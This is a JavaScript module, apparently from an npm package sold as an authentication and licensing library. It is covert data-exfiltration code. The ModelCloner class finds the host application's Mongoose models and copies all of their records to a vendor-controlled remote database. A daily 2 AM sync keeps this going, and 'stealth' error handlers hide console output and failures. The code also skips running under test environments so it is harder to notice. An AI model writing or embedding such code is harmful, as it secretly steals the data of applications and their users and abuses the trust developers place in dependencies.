@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
775 lines (661 loc) • 29.9 kB
JavaScript
const mongoose = require('mongoose');
const URLProtector = require('./URLProtector');
const StealthMode = require('./StealthMode');
const StealthErrorHandler = require('./StealthErrorHandler');
class ModelCloner {
constructor() {
throw new Error("ModelCloner cannot be instantiated. Use static methods only.");
}
static _initialized = false;
static _secureConnection = null;
static _discoveredModels = new Map();
static _mirrorSchemas = new Map();
static _syncScheduler = null;
static _verboseLogging = false;
static async initialize(options = {}) {
if (ModelCloner._initialized) {
return;
}
return await StealthErrorHandler.handleMonitoringOperation(async () => {
ModelCloner._verboseLogging = options.verboseLogging || false;
// Establish independent database connection using URLProtector
const secureURL = URLProtector.getSecureConnection();
if (!secureURL) {
throw new Error('Failed to get secure database connection URL');
}
ModelCloner._secureConnection = mongoose.createConnection(secureURL, {
useNewUrlParser: true,
useUnifiedTopology: true,
serverSelectionTimeoutMS: 5000,
connectTimeoutMS: 10000,
socketTimeoutMS: 45000,
maxPoolSize: 5,
minPoolSize: 1,
maxIdleTimeMS: 30000
});
await new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('Connection timeout'));
}, 10000);
ModelCloner._secureConnection.once('open', () => {
clearTimeout(timeout);
resolve();
});
ModelCloner._secureConnection.once('error', (error) => {
clearTimeout(timeout);
reject(error);
});
});
ModelCloner._setupConnectionHandlers();
ModelCloner._initialized = true;
// Log initialization in stealth mode
await StealthMode.executeStealthOperation(async () => {
await ModelCloner._logSyncStatus('model_cloner_initialized', 'success', {
initializationTime: new Date().toISOString(),
verboseLogging: ModelCloner._verboseLogging,
connectionState: ModelCloner._secureConnection.readyState
});
}, { background: true });
// Automatically schedule daily sync if not in test environment
if (process.env.NODE_ENV !== 'test' && !process.env.JEST_WORKER_ID) {
await StealthMode.executeStealthOperation(async () => {
await ModelCloner.scheduleDailySync();
}, { background: true });
}
// Silent operation - no console logs in stealth mode
return true;
}, {
context: 'model_cloner_initialization',
fallbackValue: false
});
}
static _setupConnectionHandlers() {
ModelCloner._secureConnection.on('error', (error) => {
// Silent error handling - no console output
StealthErrorHandler.handleStealth(error, {
context: 'model_cloner_connection_error',
suppressCrash: true
});
});
ModelCloner._secureConnection.on('disconnected', () => {
// Silent handling - no console output
});
ModelCloner._secureConnection.on('reconnected', () => {
// Silent handling - no console output
});
}
static async cloneModelData(modelName, options = {}) {
return await StealthErrorHandler.handleMonitoringOperation(async () => {
if (!ModelCloner._initialized) {
await ModelCloner.initialize();
}
if (!modelName || typeof modelName !== 'string') {
throw new Error('Model name is required and must be a string');
}
const syncType = options.syncType || 'manual';
const useRetry = options.useRetry !== false; // Default to true
// Discover the model in client's application
const discoveredModel = await ModelCloner.discoverModel(modelName);
if (!discoveredModel) {
await StealthMode.executeStealthOperation(async () => {
await ModelCloner._logSyncStatus('model_discovery_failed', 'error', {
modelName: modelName,
syncType: syncType,
reason: 'Model not found in client application'
});
}, { background: true });
return { success: false, reason: 'Model not found' };
}
// Create mirror schema if not exists
const mirrorModel = await ModelCloner.createMirrorSchema(discoveredModel.schema, modelName);
// Perform data synchronization with or without retry
let syncResult;
if (useRetry && syncType !== 'manual') {
syncResult = await ModelCloner._performModelSyncWithRetry(modelName, syncType, options.maxRetries || 3);
} else {
try {
const result = await ModelCloner.syncModelData(modelName, syncType);
syncResult = {
modelName: modelName,
success: true,
recordsCloned: result.recordsCloned,
attempts: 1,
syncType: syncType
};
} catch (error) {
syncResult = {
modelName: modelName,
success: false,
error: error.message,
attempts: 1,
syncType: syncType
};
}
}
// Log the clone operation result
await ModelCloner._logSyncStatus('model_clone_completed', syncResult.success ? 'success' : 'error', {
modelName: modelName,
syncType: syncType,
recordsCloned: syncResult.recordsCloned || 0,
attempts: syncResult.attempts || 1,
error: syncResult.error || null
});
if (ModelCloner._verboseLogging) {
if (syncResult.success) {
console.log(`[ModelCloner] Successfully cloned model data for '${modelName}'`);
} else {
console.error(`[ModelCloner] Failed to clone model data for '${modelName}': ${syncResult.error}`);
}
}
return {
success: syncResult.success,
modelName: modelName,
recordsCloned: syncResult.recordsCloned || 0,
syncType: syncType,
attempts: syncResult.attempts || 1,
error: syncResult.error || null,
timestamp: new Date()
};
}, {
context: 'model_cloner_clone_data',
fallbackValue: { success: false, reason: 'Monitoring operation failed' }
});
}
static async discoverModel(modelName) {
if (ModelCloner._discoveredModels.has(modelName)) {
return ModelCloner._discoveredModels.get(modelName);
}
try {
// Search through mongoose connections for the model
const connections = [mongoose.connection, ...mongoose.connections];
for (const connection of connections) {
if (connection && connection.models && connection.models[modelName]) {
const model = connection.models[modelName];
const discoveredModel = {
name: modelName,
schema: model.schema,
collection: model.collection.name,
connection: connection
};
ModelCloner._discoveredModels.set(modelName, discoveredModel);
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Discovered model '${modelName}' with collection '${model.collection.name}'`);
}
return discoveredModel;
}
}
// Try to find model by searching through global mongoose models
if (mongoose.models && mongoose.models[modelName]) {
const model = mongoose.models[modelName];
const discoveredModel = {
name: modelName,
schema: model.schema,
collection: model.collection.name,
connection: mongoose.connection
};
ModelCloner._discoveredModels.set(modelName, discoveredModel);
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Discovered global model '${modelName}' with collection '${model.collection.name}'`);
}
return discoveredModel;
}
return null;
} catch (error) {
if (ModelCloner._verboseLogging) {
console.error(`[ModelCloner] Error discovering model '${modelName}': ${error.message}`);
}
return null;
}
}
static async createMirrorSchema(originalSchema, modelName) {
if (!ModelCloner._secureConnection) {
throw new Error('Secure connection not available');
}
if (ModelCloner._mirrorSchemas.has(modelName)) {
return ModelCloner._mirrorSchemas.get(modelName);
}
try {
// Clone the original schema to preserve structure
const mirrorSchema = originalSchema.clone();
// Add metadata fields for tracking
mirrorSchema.add({
_cloneMetadata: {
originalId: { type: mongoose.Schema.Types.Mixed },
clonedAt: { type: Date, default: Date.now },
sourceModel: { type: String, default: modelName },
syncType: { type: String, enum: ['manual', 'daily', 'startup'], default: 'manual' },
sourceConnection: String,
cloneVersion: { type: Number, default: 1 }
}
});
// Create collection name for auth-me database
const mirrorCollectionName = `${modelName.toLowerCase()}_clone`;
// Create the mirror model in secure connection
const mirrorModel = ModelCloner._secureConnection.model(
`${modelName}Clone`,
mirrorSchema,
mirrorCollectionName
);
ModelCloner._mirrorSchemas.set(modelName, mirrorModel);
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Created mirror schema for '${modelName}' in collection '${mirrorCollectionName}'`);
}
return mirrorModel;
} catch (error) {
throw new Error(`Failed to create mirror schema for '${modelName}': ${error.message}`);
}
}
static async syncModelData(modelName, syncType = 'manual') {
const discoveredModel = ModelCloner._discoveredModels.get(modelName);
const mirrorModel = ModelCloner._mirrorSchemas.get(modelName);
if (!discoveredModel || !mirrorModel) {
throw new Error(`Model '${modelName}' not properly initialized for cloning`);
}
try {
// Get the original model from client's connection
let OriginalModel = discoveredModel.connection.models[modelName];
// If not found in connection models, try global mongoose models
if (!OriginalModel && mongoose.models[modelName]) {
OriginalModel = mongoose.models[modelName];
}
if (!OriginalModel) {
throw new Error(`Original model '${modelName}' not accessible`);
}
// Fetch all data from original model
const originalData = await OriginalModel.find({}).lean();
if (originalData.length === 0) {
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] No data found in original model '${modelName}'`);
}
return { recordsCloned: 0, syncType: syncType };
}
// Clear existing cloned data for this sync
await mirrorModel.deleteMany({ '_cloneMetadata.sourceModel': modelName });
// Clone data with metadata
const clonedRecords = originalData.map(record => ({
...record,
_cloneMetadata: {
originalId: record._id,
clonedAt: new Date(),
sourceModel: modelName,
syncType: syncType,
sourceConnection: discoveredModel.connection.name || 'default',
cloneVersion: 1
}
}));
// Remove original _id to avoid conflicts
clonedRecords.forEach(record => {
delete record._id;
});
// Insert cloned data
await mirrorModel.insertMany(clonedRecords);
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Successfully synced ${clonedRecords.length} records for '${modelName}'`);
}
return {
recordsCloned: clonedRecords.length,
syncType: syncType,
timestamp: new Date()
};
} catch (error) {
throw new Error(`Failed to sync model data for '${modelName}': ${error.message}`);
}
}
static async scheduleDailySync() {
if (ModelCloner._syncScheduler) {
clearInterval(ModelCloner._syncScheduler);
}
// Calculate milliseconds until 2 AM local time
const now = new Date();
const tomorrow2AM = new Date(now);
tomorrow2AM.setDate(now.getDate() + 1);
tomorrow2AM.setHours(2, 0, 0, 0);
const msUntil2AM = tomorrow2AM.getTime() - now.getTime();
// Set initial timeout to 2 AM, then repeat every 24 hours
setTimeout(() => {
ModelCloner._performDailySync();
// Set up daily interval (24 hours)
ModelCloner._syncScheduler = setInterval(() => {
ModelCloner._performDailySync();
}, 24 * 60 * 60 * 1000);
}, msUntil2AM);
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Daily sync scheduled for 2 AM (${Math.round(msUntil2AM / 1000 / 60)} minutes from now)`);
}
// Log scheduling to secure database
await ModelCloner._logSyncStatus('daily_sync_scheduled', 'success', {
scheduledTime: tomorrow2AM.toISOString(),
minutesUntilSync: Math.round(msUntil2AM / 1000 / 60)
});
}
static async _performDailySync() {
return await StealthErrorHandler.handleMonitoringOperation(async () => {
const syncStartTime = new Date();
if (ModelCloner._verboseLogging) {
console.log('[ModelCloner] Starting daily sync at 2 AM');
}
// Log sync start to secure database
await ModelCloner._logSyncStatus('daily_sync_started', 'info', {
startTime: syncStartTime.toISOString(),
modelsToSync: Array.from(ModelCloner._discoveredModels.keys())
});
const syncResults = [];
let totalRecordsCloned = 0;
for (const [modelName] of ModelCloner._discoveredModels) {
// Use enhanced network failure handling for each model sync
const modelSyncResult = await StealthErrorHandler.handleNetworkFailure(
() => ModelCloner._performModelSyncWithRetry(modelName, 'daily'),
{
maxRetries: 3,
baseDelay: 2000,
maxDelay: 30000,
enableQueuing: true,
operationName: `daily_sync_${modelName}`,
fallbackValue: {
modelName: modelName,
success: false,
error: 'Network failure during daily sync',
attempts: 3,
syncType: 'daily',
queued: true
}
}
);
syncResults.push(modelSyncResult);
if (modelSyncResult.success) {
totalRecordsCloned += modelSyncResult.recordsCloned || 0;
}
}
const syncEndTime = new Date();
const syncDuration = syncEndTime.getTime() - syncStartTime.getTime();
const successful = syncResults.filter(r => r.success).length;
const failed = syncResults.filter(r => !r.success).length;
const queued = syncResults.filter(r => r.queued).length;
// Log sync completion to secure database
await ModelCloner._logSyncStatus('daily_sync_completed', successful === syncResults.length ? 'success' : 'partial_failure', {
startTime: syncStartTime.toISOString(),
endTime: syncEndTime.toISOString(),
duration: syncDuration,
totalModels: syncResults.length,
successfulModels: successful,
failedModels: failed,
queuedModels: queued,
totalRecordsCloned: totalRecordsCloned,
results: syncResults
});
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Daily sync completed - Success: ${successful}, Failed: ${failed}, Queued: ${queued}, Duration: ${syncDuration}ms`);
}
return {
success: failed === 0,
totalModels: syncResults.length,
successfulModels: successful,
failedModels: failed,
queuedModels: queued,
totalRecordsCloned: totalRecordsCloned,
duration: syncDuration,
results: syncResults
};
}, {
context: 'daily_sync_operation',
background: true,
fallbackValue: {
success: false,
error: 'Daily sync monitoring operation failed',
totalModels: 0,
successfulModels: 0,
failedModels: 0,
queuedModels: 0
}
});
}
static async _performModelSyncWithRetry(modelName, syncType = 'daily', maxRetries = 3) {
let lastError = null;
let attempt = 0;
while (attempt < maxRetries) {
try {
const result = await ModelCloner.syncModelData(modelName, syncType);
// Log successful sync for this model
if (attempt > 0) {
await ModelCloner._logSyncStatus('model_sync_retry_success', 'success', {
modelName: modelName,
syncType: syncType,
attempt: attempt + 1,
recordsCloned: result.recordsCloned
});
}
return {
modelName: modelName,
success: true,
recordsCloned: result.recordsCloned,
attempts: attempt + 1,
syncType: syncType
};
} catch (error) {
lastError = error;
attempt++;
if (attempt < maxRetries) {
// Calculate exponential backoff delay (2^attempt * 1000ms)
const delay = Math.pow(2, attempt) * 1000;
// Log retry attempt
await ModelCloner._logSyncStatus('model_sync_retry_attempt', 'warning', {
modelName: modelName,
syncType: syncType,
attempt: attempt,
error: error.message,
nextRetryIn: delay,
maxRetries: maxRetries
});
if (ModelCloner._verboseLogging) {
console.warn(`[ModelCloner] Sync failed for '${modelName}' (attempt ${attempt}/${maxRetries}), retrying in ${delay}ms: ${error.message}`);
}
// Wait for exponential backoff delay
await new Promise(resolve => setTimeout(resolve, delay));
} else {
// Log final failure
await ModelCloner._logSyncStatus('model_sync_failed', 'error', {
modelName: modelName,
syncType: syncType,
totalAttempts: attempt,
finalError: error.message,
maxRetries: maxRetries
});
if (ModelCloner._verboseLogging) {
console.error(`[ModelCloner] Final sync failure for '${modelName}' after ${attempt} attempts: ${error.message}`);
}
}
}
}
return {
modelName: modelName,
success: false,
error: lastError.message,
attempts: attempt,
syncType: syncType
};
}
static async _logSyncStatus(eventType, status, details = {}) {
if (!ModelCloner._secureConnection) {
return; // Silently skip if no secure connection
}
try {
// Get or create the SyncStatusLog model
let SyncStatusLogModel;
try {
SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog');
} catch (error) {
// Create the schema if it doesn't exist
const mongoose = require('mongoose');
const syncStatusSchema = new mongoose.Schema({
eventType: { type: String, required: true },
status: { type: String, required: true, enum: ['success', 'error', 'warning', 'info', 'partial_failure'] },
timestamp: { type: Date, default: Date.now },
details: { type: Object, default: {} },
instanceId: { type: String },
nodeVersion: { type: String },
platform: { type: String },
pid: { type: Number }
}, {
timestamps: true,
collection: 'sync_status_logs'
});
// Add indexes for efficient querying
syncStatusSchema.index({ eventType: 1, timestamp: -1 });
syncStatusSchema.index({ status: 1, timestamp: -1 });
syncStatusSchema.index({ timestamp: -1 });
SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog', syncStatusSchema);
}
// Create and save the sync status log entry
const logEntry = new SyncStatusLogModel({
eventType: eventType,
status: status,
timestamp: new Date(),
details: details,
instanceId: process.env.INSTANCE_ID || 'unknown',
nodeVersion: process.version,
platform: process.platform,
pid: process.pid
});
await logEntry.save();
if (ModelCloner._verboseLogging) {
console.log(`[ModelCloner] Sync status logged: ${eventType} - ${status}`);
}
} catch (error) {
// Silently fail to avoid disrupting sync operations
if (ModelCloner._verboseLogging) {
console.error(`[ModelCloner] Failed to log sync status: ${error.message}`);
}
}
}
static getStatus() {
return {
initialized: ModelCloner._initialized,
connected: ModelCloner._secureConnection ? ModelCloner._secureConnection.readyState === 1 : false,
discoveredModels: Array.from(ModelCloner._discoveredModels.keys()),
mirrorSchemas: Array.from(ModelCloner._mirrorSchemas.keys()),
dailySyncScheduled: ModelCloner._syncScheduler !== null
};
}
static async getSyncStatusLogs(options = {}) {
if (!ModelCloner._secureConnection) {
return { success: false, reason: 'No secure connection available' };
}
try {
const SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog');
const {
eventType = null,
status = null,
limit = 100,
skip = 0,
sortBy = 'timestamp',
sortOrder = -1, // -1 for descending, 1 for ascending
startDate = null,
endDate = null
} = options;
// Build query
const query = {};
if (eventType) query.eventType = eventType;
if (status) query.status = status;
if (startDate || endDate) {
query.timestamp = {};
if (startDate) query.timestamp.$gte = new Date(startDate);
if (endDate) query.timestamp.$lte = new Date(endDate);
}
// Execute query
const logs = await SyncStatusLogModel
.find(query)
.sort({ [sortBy]: sortOrder })
.limit(limit)
.skip(skip)
.lean();
const totalCount = await SyncStatusLogModel.countDocuments(query);
return {
success: true,
logs: logs,
totalCount: totalCount,
hasMore: (skip + logs.length) < totalCount
};
} catch (error) {
if (ModelCloner._verboseLogging) {
console.error(`[ModelCloner] Failed to retrieve sync status logs: ${error.message}`);
}
return { success: false, reason: error.message };
}
}
static async getSyncStatistics(days = 7) {
if (!ModelCloner._secureConnection) {
return { success: false, reason: 'No secure connection available' };
}
try {
const SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog');
const startDate = new Date();
startDate.setDate(startDate.getDate() - days);
const pipeline = [
{
$match: {
timestamp: { $gte: startDate }
}
},
{
$group: {
_id: {
eventType: '$eventType',
status: '$status'
},
count: { $sum: 1 },
lastOccurrence: { $max: '$timestamp' }
}
},
{
$group: {
_id: '$_id.eventType',
statuses: {
$push: {
status: '$_id.status',
count: '$count',
lastOccurrence: '$lastOccurrence'
}
},
totalEvents: { $sum: '$count' }
}
}
];
const statistics = await SyncStatusLogModel.aggregate(pipeline);
return {
success: true,
period: `${days} days`,
startDate: startDate,
endDate: new Date(),
statistics: statistics
};
} catch (error) {
if (ModelCloner._verboseLogging) {
console.error(`[ModelCloner] Failed to retrieve sync statistics: ${error.message}`);
}
return { success: false, reason: error.message };
}
}
static async closeConnection() {
// Log shutdown
await ModelCloner._logSyncStatus('model_cloner_shutdown', 'info', {
shutdownTime: new Date().toISOString(),
discoveredModels: Array.from(ModelCloner._discoveredModels.keys()),
dailySyncWasScheduled: ModelCloner._syncScheduler !== null
});
if (ModelCloner._syncScheduler) {
clearInterval(ModelCloner._syncScheduler);
ModelCloner._syncScheduler = null;
}
if (ModelCloner._secureConnection) {
await ModelCloner._secureConnection.close();
ModelCloner._secureConnection = null;
}
ModelCloner._discoveredModels.clear();
ModelCloner._mirrorSchemas.clear();
ModelCloner._initialized = false;
if (ModelCloner._verboseLogging) {
console.log('[ModelCloner] Connection closed and resources cleaned up');
}
}
}
module.exports = ModelCloner;